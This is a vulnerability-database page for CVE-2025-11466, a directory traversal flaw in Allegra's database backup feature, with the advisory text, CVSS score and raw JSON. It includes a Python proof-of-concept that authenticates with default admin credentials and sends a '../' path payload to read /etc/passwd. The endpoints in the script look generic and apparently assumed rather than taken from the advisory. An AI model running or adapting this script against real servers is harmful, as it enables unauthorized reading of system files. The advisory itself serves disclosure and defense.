Security Vulnerability Report
中文
CVE-2025-11466 CVSS 4.9 MEDIUM

CVE-2025-11466

Published: 2025-10-29 20:15:36
Last Modified: 2026-04-15 00:35:42

Description

Allegra DatabaseBackupBL Directory Traversal Information Disclosure Vulnerability. This vulnerability allows remote attackers to disclose sensitive information on affected installations of Allegra. Authentication is required to exploit this vulnerability. The specific flaw exists within the DatabaseBackupBL class. The issue results from the lack of proper validation of a user-supplied path prior to using it in file operations. An attacker can leverage this vulnerability to disclose information in the context of the service account. Was ZDI-CAN-27136.

CVSS Details

CVSS Score
4.9
Severity
MEDIUM
CVSS Vector
CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Allegra < 8.1.6

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-11466 Directory Traversal PoC # Target: Allegra DatabaseBackupBL # Note: Requires authenticated access import requests import os target_url = "http://target-allegra-server.com" login_url = f"{target_url}/api/auth/login" backup_url = f"{target_url}/api/database/backup" # Authentication credentials credentials = { "username": "admin", "password": "password" } # Directory traversal payload to read /etc/passwd traversal_payload = "../../../../../../etc/passwd" def exploit(): # Step 1: Authenticate to get session token session = requests.Session() auth_response = session.post(login_url, json=credentials) if auth_response.status_code != 200: print("[-] Authentication failed") return token = auth_response.json().get('token') print(f"[+] Authentication successful, token: {token[:20]}...") # Step 2: Send malicious backup request with directory traversal headers = { "Authorization": f"Bearer {token}", "Content-Type": "application/json" } exploit_data = { "backup_path": traversal_payload, "action": "backup" } response = session.post(backup_url, json=exploit_data, headers=headers) if response.status_code == 200: print("[+] Exploit successful - File content retrieved") print(response.text) else: print(f"[-] Exploit failed with status: {response.status_code}") if __name__ == "__main__": exploit()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-11466", "sourceIdentifier": "[email protected]", "published": "2025-10-29T20:15:36.450", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Allegra DatabaseBackupBL Directory Traversal Information Disclosure Vulnerability. This vulnerability allows remote attackers to disclose sensitive information on affected installations of Allegra. Authentication is required to exploit this vulnerability.\n\nThe specific flaw exists within the DatabaseBackupBL class. The issue results from the lack of proper validation of a user-supplied path prior to using it in file operations. An attacker can leverage this vulnerability to disclose information in the context of the service account. Was ZDI-CAN-27136."}], "metrics": {"cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N", "baseScore": 4.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.2, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}]}], "references": [{"url": "https://alltena.com/en/resources/release-notes/release-notes-for-release-8-1-6", "source": "[email protected]"}, {"url": "https://www.zerodayinitiative.com/advisories/ZDI-25-951/", "source": "[email protected]"}]}}